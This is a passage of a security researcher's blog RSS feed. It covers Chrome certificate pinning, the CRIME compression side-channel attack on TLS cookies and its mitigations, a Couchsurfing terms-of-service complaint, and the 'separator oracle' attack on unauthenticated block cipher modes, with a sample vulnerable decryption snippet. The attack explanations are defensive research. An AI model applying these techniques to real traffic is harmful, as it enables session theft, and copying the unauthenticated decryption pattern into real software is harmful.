&lt;li&gt;The 16KB size is upped to something more like 128KB.&lt;/li&gt;
&lt;li&gt;Your accepted contacts become the "permitted large senders" list.  These users are permitted to send you messages larger than 128KB.  It'd be nice to restrict them to 32KB, but this may not be possible while asserting that the server cannot read the messages for a user.&lt;/li&gt;
&lt;li&gt;A server will either send the list of queued messages if the contents of the list is &gt;128KB or whole messages if less.    &lt;/li&gt;
&lt;li&gt;Messages larger than 128KB are not downloaded by default - the user can choose to delete them on the server, explictly download them as one-time-large chunk, or perform a de- and re-encryption on the server to be able to download the message in 128KB chunks.&lt;/li&gt;
&lt;li&gt;When an unaccepted contact wants to pond you, the server will conduct the initial steps of the DH Key Exchange on behalf of the user, packages up the sensitive parts for the user, and queue them for delivery to the user also.  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;That list is very handwavey - I haven't really thought through the implications of things like the de- and re-encryption on the server; or the change in threat model.  For instance, if a server is compromised after an untrusted person ponds you, the attacker should not be able to read those queued messages; but if a new untrusted person ponds you post-compromise, the attacker would be able to read that message.  That may be unacceptable.  The IMAP/Newsgroup nature of getting a list of messages and choosing to download individual ones might be a horrible idea too.  Pond is experimental.  I'm happy to throw out a bunch more experimental ideas and try to figure out why they're bad ideas.&lt;/p&gt;

&lt;p&gt;Also, I'd like to take this opportunity to thank Adam for his work.  This is experimental software and an experimental protocol.  But experiments are good.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; If you're reading this on the front page, be sure to &lt;a href="/blog-initial_pond_thoughts.html"&gt;click through&lt;/a&gt; to see Adam's comment response.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/rittervg/~4/9fnSkF1w4EA" height="1" width="1"/&gt;</description>
	<link>http://feedproxy.google.com/~r/rittervg/~3/9fnSkF1w4EA/blog-initial_pond_thoughts.html</link><feedburner:origLink>http://ritter.vg/blog-initial_pond_thoughts.html</feedburner:origLink></item>

	<item>
		<guid isPermaLink="false">http://ritter.vg/blog-cas_and_pinning.html</guid>
		<title>Certificate Authorities &amp; Pinning</title>
		<pubDate>10 Nov 2012 20:53 EST</pubDate>
		<description>&lt;p&gt;So Google Chrome has a preloaded list of sites they can force SSL on (Strict Transport Security) and certificates they can pin up to (Public Key Pinning).  You can request yourself be added to this list &lt;a href="http://dev.chromium.org/sts"&gt;over here&lt;/a&gt;.  But Chrome is open source, so you can look at the code behind this.  The relevant file is in &lt;a href="http://src.chromium.org/viewvc/chrome/trunk/src/net/base/transport_security_state.cc?revision=162540&amp;amp;view=markup"&gt;transport_security_state.cc&lt;/a&gt; and the actual list of directives is in &lt;a href="http://src.chromium.org/viewvc/chrome/trunk/src/net/base/transport_security_state_static.json?revision=162705&amp;amp;view=markup"&gt;transport_security_state_static.json&lt;/a&gt;.  Inside that list of directives (and I'm linking to the latest revision, not trunk), there's a property bad_static_spki_hashes.&lt;/p&gt;

&lt;pre type="syntaxhighlighter" class="brush: js; toolbar: false"&gt;
//   bad_static_spki_hashes: (optional list of strings) the set of forbidden SPKIs hashes
&lt;/pre&gt;

&lt;p&gt;If we look at the only time that's used, it's used by Google.&lt;/p&gt;

&lt;pre type="syntaxhighlighter" class="brush: js; toolbar: false"&gt;
    {
      "name": "google",
      "static_spki_hashes": [
        "VeriSignClass3",
        "VeriSignClass3_G3",
        "Google1024",
        "Google2048",
        "EquifaxSecureCA"
      ],
      "bad_static_spki_hashes": [
        "Aetna",
        "Intel",
        "TCTrustCenter",
        "Vodafone"
      ]
    },
&lt;/pre&gt;

&lt;p&gt;Those certificates: Aetna, Intel, TCTrustCenter, and Vodafone are defined in &lt;a href="http://src.chromium.org/viewvc/chrome/trunk/src/net/base/transport_security_state_static.certs?revision=138796&amp;amp;view=markup"&gt;transport_security_state_static.certs&lt;/a&gt; (again, revision specific not trunk).  They were added in &lt;a href="http://src.chromium.org/viewvc/chrome/trunk/src/net/base/transport_security_state.cc?r1=107993&amp;amp;r2=108293"&gt;this diff&lt;/a&gt; with the comment "net: reject other intermediates from Equifax" which references a private &lt;a href="http://codereview.chromium.org/8372032"&gt;code review request&lt;/a&gt; and &lt;a href="https://code.google.com/p/chromium/issues/detail?id=102456"&gt;bug&lt;/a&gt;.  When I open them on Windows 7, they all chain to the GeoTrust root with fingerprint d23209ad23d314232174e40d7f9d62139786633a.  GeoTrust (who bought &lt;a href="http://en.wikipedia.org/wiki/GeoTrust"&gt;Equifax&lt;/a&gt;'s CA program) is the company that ran the &lt;a href="http://www.prnewswire.com/news-releases/geotrust-launches-georoot-allows-organizations-with-their-own-certificate-authority-ca-to-chain-to-geotrusts-ubiquitous-public-root-54048807.html"&gt;GeoRoot&lt;/a&gt; program, allowing companies to have their own root.&lt;/p&gt;

&lt;p&gt;Are these &lt;em&gt;MITM Certificates?&lt;/em&gt; &lt;strong&gt;No.&lt;/strong&gt; But before I explain how they're not, a little background:&lt;/p&gt;

&lt;p&gt;The practice of issuing companies &lt;em&gt;publicly trusted&lt;/em&gt; Certificate Authorities &lt;em&gt;for the purpose of performing MITM on their employees&lt;/em&gt; is extremely shady and dangerous and resulted in lots of &lt;a href="https://bugzilla.mozilla.org/show_bug.cgi?id=724929"&gt;bad press&lt;/a&gt; for Trustwave when they issued one to Micros Systems.  They revoked it, and came clean - and I applauded them for it.  In the fallout, Mozilla &lt;a href="https://wiki.mozilla.org/CA:Communications#Responses"&gt;told CAs they couldn't do this and be included in their root program&lt;/a&gt;.  They had to either not let the root out of their control or technically or contractually constrain them explicitly disallowing MITM purposes.&lt;/p&gt;

&lt;p&gt;The responses from the CAs &lt;a href="https://docs.google.com/spreadsheet/pub?key=0Ah-tHXMAwqU3dGxsWlZEdGFDaW9JTlNTUGxBNWhqSlE&amp;amp;output=html"&gt;came back&lt;/a&gt;.  Geotrust said "SubCAs are technically and/or contractually restricted to only issue certificates to domains that they legitimately own or control, and they are specifically not allowed to use their subordinate certificates for the purpose of MITM." And also that they were in the process of "[adding] a statement to [their] CP/CPS committing that [the company] will not issue a subordinate certificate that can be used for MITM or 'traffic management' of domain names or IPs that the certificate holder does not legitimately own or control."  And let's take a look at the four certificates blacklisted in Chrome:&lt;/p&gt;

&lt;dl&gt;
&lt;dt&gt;Vodafone &amp;amp; Aetna&lt;/dt&gt;
&lt;dd&gt;Vodafone expired in July 2011, Aetna in Aug 2012.  Looking at Mozilla's and Windows' Trust Store I don't see an Aetna or a Vodafone.&lt;/dd&gt;

&lt;dt&gt;Intel&lt;/dt&gt;
&lt;dd&gt;This is a &lt;strong&gt;valid, trusted Signing CA that is still valid&lt;/strong&gt;.  It can do a lot too: Digital Signature, Certificate Signing, Off-line CRL Signing, CRL Signing.  It has a &lt;a href="http://www.intel.com/repository/CRL/Intel%20External%20Basic%20Policy%20CA.crl"&gt;Public CRL&lt;/a&gt; that refreshes &lt;em&gt;every three months&lt;/em&gt; with no entries.  Its other pointers go to &lt;a href="http://certificates.intel.com/repository/CRL/Intel%20External%20Basic%20Policy%20CA.crl"&gt;unresolvable&lt;/a&gt; &lt;a href="http://certificates.intel.com/repository/certificates/Intel%20External%20Basic%20Policy%20CA.crt"&gt;domains&lt;/a&gt;. I can't find an Intel in my trust stores.&lt;/dd&gt;

&lt;dt&gt;TC TrustCenter&lt;/dt&gt;
&lt;dd&gt;This is the strangest one to me - because I &lt;em&gt;do&lt;/em&gt; have it in my Trust Store.  I have "TC Trust Center Class 2 CA II", "TC Trust Center Universal CA I" and "III", and "TC Trust Center Class 3 CA II" in Mozilla and nothing in Windows (but Windows has some weird polling-the-server stuff IIRC).  So if some of TC Trust Center is trusted, why isn't this one?  Also, it's &lt;strong&gt;still valid&lt;/strong&gt;.  It's CRL is &lt;a href="http://crl.geotrust.com/crls/secureca.crl"&gt;GeoTrust's&lt;/a&gt;.&lt;/dd&gt;
&lt;/dl&gt;

&lt;p&gt;Now these &lt;em&gt;are not&lt;/em&gt; MITM certificates.  They have been in use on the public internet, and if you search through the &lt;a href="https://www.eff.org/observatory"&gt;SSL Observatory&lt;/a&gt; data you will find both the certificates and instances of their signing public certificates.  So it's pretty clear these aren't hidden certificates or anything. &lt;strong&gt;But&lt;/strong&gt; the existence of these certificates is still troubling for a brand-new reason: Certificate Pinning.&lt;/p&gt;

&lt;p&gt;Certificate Pinning - either by &lt;a href="http://tack.io/"&gt;TACK&lt;/a&gt;, the upcoming &lt;a href="https://datatracker.ietf.org/doc/draft-ietf-websec-key-pinning/"&gt;HTTP Header&lt;/a&gt;, Chrome's aforementioned system, or &lt;a href="http://thoughtcrime.org/blog/authenticity-is-broken-in-ssl-but-your-app-ha/"&gt;other methods&lt;/a&gt; - allows you to pin to a leaf certificate or a Certificate Authority's root.  If clients see a certificate signed by anything other than the pinned certificate (key, technically) - they will reject the certificate.  It allows you to limit the number of signing CAs from dozens or hundreds to a couple of Intermediates.  But just how many Intermediate (signing) certificates are off that root you just pinned?  You can get a sense of it from the SSL Observatory - but just a sense, because they're not all disclosed.&lt;/p&gt;

&lt;p&gt;And that's what Google has done.  They wanted to pin GeoTrust - but &lt;em&gt;not&lt;/em&gt; these other Intermediates.  So they had to go to explicit steps to prevent these four certificates from being able to sign for Google properties, ever ever ever.  So if you're evaluating a Certificate Authority, and you want to pin to them, this should factor into your calculations. Mozilla is &lt;a href="https://groups.google.com/forum/?fromgroups=#!topic/mozilla.dev.security.policy/0jnELviAxxo%5B1-25%5D"&gt;working on this&lt;/a&gt; to provide greater transparency for these 'unknown' Intermediates, which are a subject of great debate.&lt;/p&gt;

&lt;script type="text/javascript"&gt;
$(document).ready(function(){
	addScript('resources/scripts/shBrushJScript.js');
	SyntaxHighlighter.all();
});
&lt;/script&gt;&lt;img src="http://feeds.feedburner.com/~r/rittervg/~4/p4WnLCr8-7Y" height="1" width="1"/&gt;</description>
	<link>http://feedproxy.google.com/~r/rittervg/~3/p4WnLCr8-7Y/blog-cas_and_pinning.html</link><feedburner:origLink>http://ritter.vg/blog-cas_and_pinning.html</feedburner:origLink></item>

	<item>
		<guid isPermaLink="false">http://ritter.vg/blog-crime.html</guid>
		<title>Details on CRIME</title>
		<pubDate>17 Sep 2012 11:11:34 EST</pubDate>
		<description>&lt;!-- =============================================================================================== --&gt;
&lt;h2&gt;Background&lt;/h2&gt;

&lt;p&gt;Juliano Rizzo and Thai Duong, the authors of the BEAST attack on SSL (or TLS - used interchangeably here), have released a new attack dubbed CRIME, or Compression Ratio Info-leak Made Easy.  The attack allows an attacker to reveal sensitive information that is being passed inside an encrypted SSL tunnel.  The most straightforward way to leverage this vulnerability is to use it to retrieve cookies being passed by an application and use them to login to the application as the victim.&lt;/p&gt;

&lt;p&gt;CRIME is known to work against SSL Compression and SPDY.  SPDY is a special HTTP-like protocol developed by Google, and used sparingly around the web.  According to &lt;a href="http://blog.ivanristic.com/2012/09/it-seems-that-it-is-that-time-of-year-again-when-julian-and-thai-present-their-most-recent-attack-against-crypto-system-t.html"&gt;Ivan Ristic's statistics&lt;/a&gt;, gathered by &lt;a href="https://www.trustworthyinternet.org/ssl-pulse/"&gt;SSL Pulse&lt;/a&gt;, about 42% of the servers support SSL compression, and SPDY support is at 0.8%.  SSL Compression is an optional feature that may or may not be enabled by default - it's unlikely to have been explicitly configured.  SPDY however is something that would be explicitly designed into your web application.&lt;/p&gt;

&lt;!-- =============================================================================================== --&gt;
&lt;h3&gt;Technique&lt;/h3&gt;

&lt;p&gt;CRIME works by leveraging a property of compression functions, and noting how the length of the compressed data changes.  The internals of the compression function are more sophisticated, but this simple example can show how the information leak can be exploited. Imagine the following browser POST:&lt;/p&gt;

&lt;pre&gt;POST /target HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:14.0) Gecko/20100101 Firefox/14.0.1
Cookie: sessionid=d8e8fca2dc0f896fd7cb4cb0031ba249

sessionid=a&lt;/pre&gt;

&lt;p&gt;This data shown in binary looks like this:&lt;/p&gt;

&lt;img src="/resources/crime/vanilla-nomatch.png" /&gt;

&lt;p&gt;As mentioned, the internals of the DEFLATE compression algorithm are more sophisticated, but the basic  algorithm is to look for repeated strings, move them to a dictionary, and replace the actual strings with a reference to the entry in the dictionary.  We'll take the above example, and identify two repeated strings we can remove: ".1" and "sessionid=". We'll move them to a dictionary, and replace them with bytes not used in the message (0x00 and 0x01):&lt;/p&gt;

&lt;img src="/resources/crime/nomatch-comp.png" /&gt;

&lt;p&gt;This has compressed the message from 195 byte to 187 bytes.  In the body of the request, we specified "sessionid=a".  Watch what happens when we specify "sessionid=d", which is the first character of the secret session cookie:&lt;/p&gt;

&lt;img src="/resources/crime/match-comp.png" /&gt;

&lt;p&gt;Now we've compressed the resulting message from 195 bytes to &lt;strong&gt;186&lt;/strong&gt; bytes. An attacker who can observe the size of the SSL packets can use this technique in an adaptive fashion to learn the exact value of the cookie.&lt;/p&gt;

&lt;p&gt;As mentioned, the internals of the real deflate have to account for a lot more than this (for example, length of the extracted string) and works with a sliding window across the data (examining the entire data in chunks instead of at once) - but this toy example shows the single byte length difference we are looking for to reveal we've guessed the correct character.  For more sophisticated analysis you can check out &lt;a href="http://security.stackexchange.com/questions/19911/crime-how-to-beat-the-beast-successor"&gt;Thomas Pornin's answer at stackexchange&lt;/a&gt; and &lt;a href="https://gist.github.com/3696912"&gt;Krzysztof Kotowicz'a proof of concept code&lt;/a&gt;.  In the coming weeks we'll also get more details from the authors that explain how they overcame other hurdles to exploitation, such as the Block Cipher Padding in AES.&lt;/p&gt;

&lt;!-- =============================================================================================== --&gt;
&lt;h3&gt;Exploitation Scenarios&lt;/h3&gt;

&lt;p&gt;In our toy example above we placed our guess for the cookie in a POST body.  Initially, speculation was to exploit CRIME you would require the ability to run JavaScript inside the target domain - such as through a Cross-Site Scripting Attack.  Since then, a number of novel techniques have been discussed, including:

&lt;ul&gt;
&lt;li&gt;Cross Domain requests
&lt;li&gt;moving the payload to the querystring in a GET request
&lt;li&gt;using &amp;lt;img&amp;gt; tags (a method used by Rizzo/Duong)
&lt;/ul&gt;

&lt;p&gt;It's clear that there are an uncountable number of ways to exploit the vulnerability if it is present.  Rather than trying to block individual avenues to exploitation - which is likely impossible - we recommend you mitigate the issue at the source by disabling SSL Compression (and SPDY Compression if used.)&lt;/p&gt;

&lt;!-- =============================================================================================== --&gt;
&lt;h2&gt;Mitigation&lt;/h2&gt;

&lt;p&gt;Disabling compression is the agreed-upon approach to mitigating the vulnerability.  Very few clients support SSL or SPDY Compression, and the major ones that do (Chrome and Firefox) have patched it.  Disabling SSL Compression is different from disabling HTTP Compression - and will almost always have no adverse affects (especially because many clients already do not support it).  If HTTP Compression is enabled, SSL Compression will only compress HTTP Requests and Response Headers - a small percentage of the traffic compared to the body of web application pages.&lt;/p&gt;

&lt;p&gt;At this point, the latest versions of all browsers will not offer Compression in SSL. The following versions were explicitly tested.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;All versions of Internet Explorer (No Versions of IE support SSL Compression)
&lt;li&gt;Google Chrome 21.0.1180.89
&lt;li&gt;Firefox 15.0.1
&lt;li&gt;Opera 12.01
&lt;li&gt;Safari 5.1.7 on Windows
&lt;li&gt;Safari 5.1.6 &amp;amp; 6 on OSX Lion
&lt;/ul&gt;

&lt;!-- =============================================================================================== --&gt;
&lt;h3&gt;Server-Side Mitigation&lt;/h3&gt;

&lt;p&gt;In most cases you can rely on clients having been patched to disable compression. If you want to perform due diligence you can disable SSL Compression server-side also. You can test for SSL Compression using the &lt;a href="https://www.ssllabs.com/"&gt;SSL Labs&lt;/a&gt; service (look for "Compression" in the Miscellaneous section) or using iSEC Partners' &lt;a href="https://github.com/iSECPartners/sslyze/downloads"&gt;ssl scanning tool SSLyze v0.5&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;If you have Compression enabled, the method of disabling it varies depending on the software you're running.  If you're using a hardware device or software not listed here, you'll need to check the manual or support options and note that you want to disable &lt;em&gt;SSL Compression&lt;/em&gt; - it shouldn't be confused with HTTP Compression.&lt;/p&gt;

&lt;h4&gt;Apache 2.4 using mod_ssl&lt;/h4&gt;

&lt;p&gt;Apache 2.4.3 has support for the SSLCompression flag.  This is a very new release of Apache - the feature itself was added &lt;a href="http://svn.apache.org/viewvc?view=revision&amp;revision=1369585"&gt;in August, 2012&lt;/a&gt;.  SSLCompression is &lt;strong&gt;on by default&lt;/strong&gt; - to disable it specify "&lt;a href="http://httpd.apache.org/docs/2.4/mod/mod_ssl.html#sslcompression"&gt;SSLCompression off&lt;/a&gt;".&lt;/p&gt;

&lt;h4&gt;Apache 2.2 using mod_ssl&lt;/h4&gt;

&lt;p&gt;The patch will be backported from Apache 2.4 to Apache 2.2 in 2.2.24 according to &lt;a href="https://issues.apache.org/bugzilla/show_bug.cgi?id=53219"&gt;the corresponding issue for mod_ssl&lt;/a&gt;.&lt;/p&gt;

&lt;h4&gt;Apache using mod_gnutls&lt;/h4&gt;

&lt;p&gt;If you are using mod_gnutls you can specify the &lt;a href="http://modgnutls.sourceforge.net/downloads/docs/mod_gnutls_manual-0.1.html"&gt;GnuTLSPriorities&lt;/a&gt; flag to disable compression.  Specify "!COMP-DEFLATE" to disable compression.&lt;/p&gt;

&lt;h4&gt;IIS&lt;/h4&gt;

&lt;p&gt;Microsoft IIS does not support SSL Compression - even in IIS 7.5/Server 2008 R2.&lt;/p&gt;

&lt;h4&gt;Amazon Elastic Load Balancers&lt;/h4&gt;

&lt;p&gt;iSEC Partners has confirmed with Amazon that Elastic Load Balancers do not support TLS Compression.&lt;/p&gt;

&lt;!-- =============================================================================================== --&gt;
&lt;h2&gt;Acknowledgements&lt;/h2&gt;

&lt;p&gt;Thanks to a few folks for their help in preparing this post: Alex Garbutt, Doug DePerry, Rafael Turner, Rachel Engel, and the team at Second Market.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;This post originally appeared on &lt;a href="https://isecpartners.com/news-events/news/2012/september/details-on-the-crime-attack.aspx"&gt;iSEC Partners' blog&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/rittervg/~4/KZ8A0Th-JHk" height="1" width="1"/&gt;</description>
	<link>http://feedproxy.google.com/~r/rittervg/~3/KZ8A0Th-JHk/blog-crime.html</link><feedburner:origLink>http://ritter.vg/blog-crime.html</feedburner:origLink></item>

	<item>
		<guid isPermaLink="false">http://ritter.vg/blog-couchsurfing_tos_update.html</guid>
		<title>On Couchsurfing's New Terms of Service</title>
		<pubDate>2 Sep 2012 00:43:34 EST</pubDate>
		<description>&lt;div style="text-align:center"&gt;&lt;strong&gt;Scroll Down for an Update&lt;/strong&gt;&lt;/div&gt;

&lt;p&gt;Recently Couchsurfing sent out an email about their &lt;a href="http://www.couchsurfing.org/new_terms.html" class="themainlink"&gt;new terms of service&lt;/a&gt;.  I took a look, and was pretty surprised - even in the world of ridiculous Terms of Services, this one seemed over the top.  I fired off a quick rantly message through the only feedback system I could find, tweeted about it, and planned on deleting myself a short while later.  However, they replied back to me politely and generically, and I realized I needed to send a more structured response. Below are the first four major things that jumped out at me that I take issue with the new Couchsurfing Terms of Service, as compared to several other major sites' terms. If you likewise think the terms aren't well thought out, I'd encourage you to drop them a polite email as well.  The email chain I'm responding to is at the very bottom of the post.&lt;/p&gt;

&lt;hr style="width:50%" /&gt;
&lt;div style="text-align:center"&gt;My second email to them&lt;/div&gt;

&lt;p&gt;I understand your lawyers want you to cover your ass - and of course there needs to be some permission licensing the content.  I'm not uninitiated to the process - so I'm not complaining in the general "you can't do this, this is crazy" stance - I'm complaining in the specific "Even in the world of overly broad Terms of Service - yours is Super-Overly-Broad".  I'm not a lawyer but I am interested in this stuff, and from my research here's what I've come up with.&lt;/p&gt;

&lt;p&gt;Several of the things I take issue with: &lt;ol&gt;
&lt;li&gt;There is no regard to member ownership of content, beyond stating that the member must own the content they upload.
&lt;li&gt;There is no regard to the privacy settings of Couchsurfing Profiles, nor deletion of member content
&lt;li&gt;There is overbroad permission for your use of the content
&lt;li&gt;There is really strange language relating to granting you permission to use my Identity.
&lt;/ol&gt;&lt;/p&gt;

&lt;p&gt;I'll reference several other Terms of Services for similar websites, linked at the end.&lt;/p&gt;

&lt;p&gt;Regarding #1: Facebook's, yFrog/ImageShack, Yahoo/Flickr's, and MySpace's explicitly state they do not claim ownership of any content, while you do not.  &lt;/p&gt;

&lt;p&gt;Regarding #2: Facebook takes the same "non-exclusive, transferable, sub-licensable, royalty-free, worldwide license to use any IP content" clause - but they explicitly state that this is subject to the user's Privacy Settings _and_ that the license ends "when you delete your IP content or your account".  MySpace's likewise mentions Privacy settings: "except that Content marked 'private' will not be distributed by Myspace outside the Myspace Services and Linked Services" and "After you remove your Content from the Myspace Services we will cease distribution as soon as practicable, and at such time when distribution ceases, the license will terminate."  Flickr too: "This license exists only for as long as you elect to continue to include such Content on the Yahoo! Services and will terminate at the time you remove or Yahoo! removes such Content from the Yahoo! Services."  And yFrog/ImageShack "You may revoke this permission at any time by requesting your content to be removed."&lt;/p&gt;

&lt;p&gt;Regarding #3: The clause "for any purpose" is overbroad.  If you wanted to sell people's personal photos for use as stock photography you would be able to.  Contrast that with yfrog's "will not sell or distribute your content to third parties or affiliates without your permission" or Yahoo/Flickr's "the license to use, distribute, reproduce, modify, adapt, publicly perform and publicly display such Content &lt;em&gt;on the Yahoo! Services&lt;/em&gt; solely for the purpose for which such Content was submitted or made available".  Myspace's does not take the abiliy to sell or distribute outside of their site: "This limited license does not grant Myspace the right to sell or otherwise distribute your Content outside of the Myspace Services or Linked Services."  &lt;/p&gt;

&lt;p&gt;Regarding #4: "without limitation the right to use your name, likeness, voice or identity" You're claiming the right to use my &lt;em&gt;identity&lt;/em&gt;?!  That's really, really strange, and probably interfaces weirdly with some Identity Theft law somewhere in the US.  &lt;/p&gt;

&lt;p&gt;Thanks for taking the time to respond to me, and I hope you will take these concerns under consideration.  &lt;/p&gt;

&lt;br /&gt;[0] &lt;a href="http://www.facebook.com/legal/terms"&gt;http://www.facebook.com/legal/terms&lt;/a&gt;
&lt;br /&gt;[1] &lt;a href="http://www.myspace.com/Help/Terms?pm_cmp=ed_footer"&gt;http://www.myspace.com/Help/Terms?pm_cmp=ed_footer&lt;/a&gt;
&lt;br /&gt;[2] &lt;a href="http://yfrog.com/page/tos"&gt;http://yfrog.com/page/tos&lt;/a&gt;
&lt;br /&gt;[3] &lt;a href="http://info.yahoo.com/legal/us/yahoo/utos/utos-173.html"&gt;http://info.yahoo.com/legal/us/yahoo/utos/utos-173.html&lt;/a&gt;

&lt;hr style="width:25%" /&gt;
&lt;div style="text-align:center"&gt;Their reply to my first email&lt;/div&gt;

&lt;p&gt;Hello Tom&lt;/p&gt;

&lt;p&gt;Thank you for writing in to us about the recent changes to our Terms of Use and Privacy Policy. The reason for these changes are to keep up with legal developments here in the United States, as well as to make sure that our policies cover all of the new features that we are planning to introduce to the CouchSurfing community.&lt;/p&gt;

&lt;p&gt;In order to display your content on CouchSurfing, such as your profile picture or group posts, we need your permission to do so. When you upload content to CouchSurfing (like photos or group posts) you grant us the right to use it in various ways, such as linking to it and displaying it to other members. &lt;/p&gt;

&lt;p&gt;When you send us a Submission such as a photo or a story, we might choose to write a blog post about it or post it to our Facebook, Twitter or other social media pages. If you send us a CouchSurfing design, we may make it into a product on the CS Shop. Please don't send us anything that you would prefer to keep private.&lt;/p&gt;

&lt;p&gt;Hopefully this answers your question, but if not feel free to email us back at policies@couchsurfing.com.&lt;/p&gt;

&lt;p&gt;Happy Surfing!&lt;/p&gt;

&lt;hr style="width: 50%" /&gt;
&lt;div style="text-align:center"&gt;&lt;p&gt;&lt;strong style="color:red"&gt;Update:&lt;/strong&gt; I heard back from them over the weekend, and with their permission can post their response. &lt;br /&gt;Their reply to my second email.&lt;/p&gt;&lt;/div&gt;

&lt;p&gt;Hi Tom,&lt;/p&gt;

&lt;p&gt;I'm sorry for the slow response. Hopefully I can address some of your concerns below, and I can certainly understand how the language in section 5.3 sounds over-broad. My responses are specific to your itemized questions.&lt;/p&gt;

&lt;p&gt;1)   You're right, we don't mention this specifically, although it is true that members do continue to own their own content (with the exception of things submitted directly to us as a Submission under Section 6.0). We originally included plain-english annotations with this new version of our Terms of Use which stated that explicitly, but our concern was that members would make decisions based on the annotations, which, being a summary, would have the potential to mislead them by not including the full information. In such a case, we might be considered liable for distributing bad information. My hope for CouchSurfing is that we can eventually move to completely plain-english policies.&lt;/p&gt;

&lt;p&gt;2) Privacy settings are evolving on CouchSurfing. We are working on a complete overhaul to the website, which will include a lot of new features, and new privacy settings will go hand in hand with that. But because we don't know what exactly those new features or privacy settings will be, it is hard to reference them specifically.&lt;/p&gt;

&lt;p&gt;3) The license under Section 5.3 gives us the ability to do things like display your name, pictures and other content on the website and through other CouchSurfing products as we develop them. However, it does not give us the ability to do whatever we want with your personal information. We cannot do anything with your information that is not clearly explained in our Privacy Policy. I would encourage you to take a look through that Policy here: http://couchsurfing.com/new_privacy and let me know if you have any further questions. Member privacy is very important to us.&lt;/p&gt;

&lt;p&gt;4) This language is broad to allow us to develop new CouchSurfing products and features without having to rewrite the TOU at every turn. But please see above about how our Privacy Policy details exactly how and when we collect, use and share your information.&lt;/p&gt;

&lt;p&gt;Hopefully this helps answer your questions, and thank you again for writing in. We truly do appreciate member feedback, and will take you suggestions into account as we continue to improve CouchSurfing. &lt;/p&gt;

&lt;p&gt;Kind regards,&lt;/p&gt;

&lt;p&gt;Cameron&lt;br /&gt;
Legal Counsel&lt;br /&gt;
CouchSurfing International, Inc.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/rittervg/~4/ulsJLfDVOqM" height="1" width="1"/&gt;</description>
	<link>http://feedproxy.google.com/~r/rittervg/~3/ulsJLfDVOqM/blog-couchsurfing_tos_update.html</link><feedburner:origLink>http://ritter.vg/blog-couchsurfing_tos_update.html</feedburner:origLink></item>

	<item>
		<guid isPermaLink="false">http://ritter.vg/blog-separator_oracle.html</guid>
		<title>An Attack on Unauthenticated Block Cipher Modes - Separator Oracle</title>
		<pubDate>25 May 2012 12:24:34 EST</pubDate>
		<description>&lt;p&gt;&lt;a href="https://twitter.com/jonpasski"&gt;Jon Passki&lt;/a&gt; came to me a couple months ago with an idea for a new adaptive ciphertext attack on block cipher modes - similar to the Padding Oracle or &lt;a href="/blog-mangers_oracle.html"&gt;Manger's Oracle&lt;/a&gt; attacks.  I found some ways to extend it, and we wound up collaborating on it - and we're finally able to publish it today.&lt;/p&gt;

&lt;p&gt;Certain block cipher confidentiality modes, including CBC, CTR, CFB, and OFB, perform decryption with a final step that performs an XOR with ciphertext - often attacker-controlled.  When an application decrypts altered ciphertext and attempts to process the manipulated plaintext, it may disclose information about intermediate values resulting in an oracle.  The information disclosed may vary - it could be improper ASN decoding, an invalid timestamp, or what we focus on - invalid delimited values.&lt;/p&gt;

&lt;p&gt;We use the common application pattern of encrypting delimited values, such as "username|timestamp|userlevel", and the common practice of raising an exception if the number of delimited values is not accurate.  Application code could look like:&lt;/p&gt;

&lt;pre&gt;
    ciphertext = read_from_cookie("sessionid")
    plaintext = decrypt(ciphertext)
    values = plaintext.split("|")
    if len(values) != 3:
        raise Exception("Incorrectly structured values")
    # Continue on processing data&lt;/pre&gt;
        
&lt;p&gt;By detecting this exception, which we call a SeparatorException, we are able to mount an adaptive ciphertext attack that allows us to decrypt the ciphertext.  Additionally, after learning the plaintext, we can control the decryption to result in an arbitrary plaintext of our choosing.  The solution of course is to verify the integrity of the ciphertext using either a Message Authentication Code (MAC) or an Authenticated Encryption Mode.  Matt Green has a good blog post about &lt;a href="http://blog.cryptographyengineering.com/2012/05/how-to-choose-authenticated-encryption.html"&gt;how to choose an Authenticated Encryption mode&lt;/a&gt;.  &lt;/p&gt;

&lt;p&gt;The paper is &lt;a class="themainlink" href="/resources/IxorCAttack.pdf"&gt;available in a pdf&lt;/a&gt;, and code that demonstrates the attack on several block cipher modes is included at &lt;a class="themainlink" href="https://github.com/tomrittervg/separator-oracle"&gt;https://github.com/tomrittervg/separator-oracle&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The paper was updated June 3rd.  Thanks to Juraj Somorovsky for pointing out some additional work on the subject.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;This post originally appeared on &lt;a href="http://www.isecpartners.com/blog/2012/5/25/tom-ritters-adaptive-ciphertext-attack-whitepaper-released.html"&gt;iSEC Partners&lt;/a&gt; and &lt;a href="https://www.aspectsecurity.com/blog/separator-oracle-2/"&gt;Aspect Security&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/rittervg/~4/A_2cwjE-Xpw" height="1" width="1"/&gt;</description>
	<link>http://feedproxy.google.com/~r/rittervg/~3/A_2cwjE-Xpw/blog-separator_oracle.html</link><feedburner:origLink>http://ritter.vg/blog-separator_oracle.html</feedburner:origLink></item>

	<item>
		<guid isPermaLink="false">http://ritter.vg/blog-no_email_security.html</guid>
		<title>On the Sorry State of E-Mail Security</title>
		<pubDate>20 May 2012 23:34 EST</pubDate>
		<description>&lt;p&gt;Something I've been interested in for the past few months is SSL/TLS, and in particular looking at undetectable attacks.  &lt;/p&gt;

&lt;p&gt;Censorship is detectable.  You know you're being censored.  Censorship always implies passive network tapping - the entity &lt;em&gt;has&lt;/em&gt; to perform the tap to do the censorship.  And censorship itself is an active attack - the entity blocks you from visiting the website.  &lt;/p&gt;

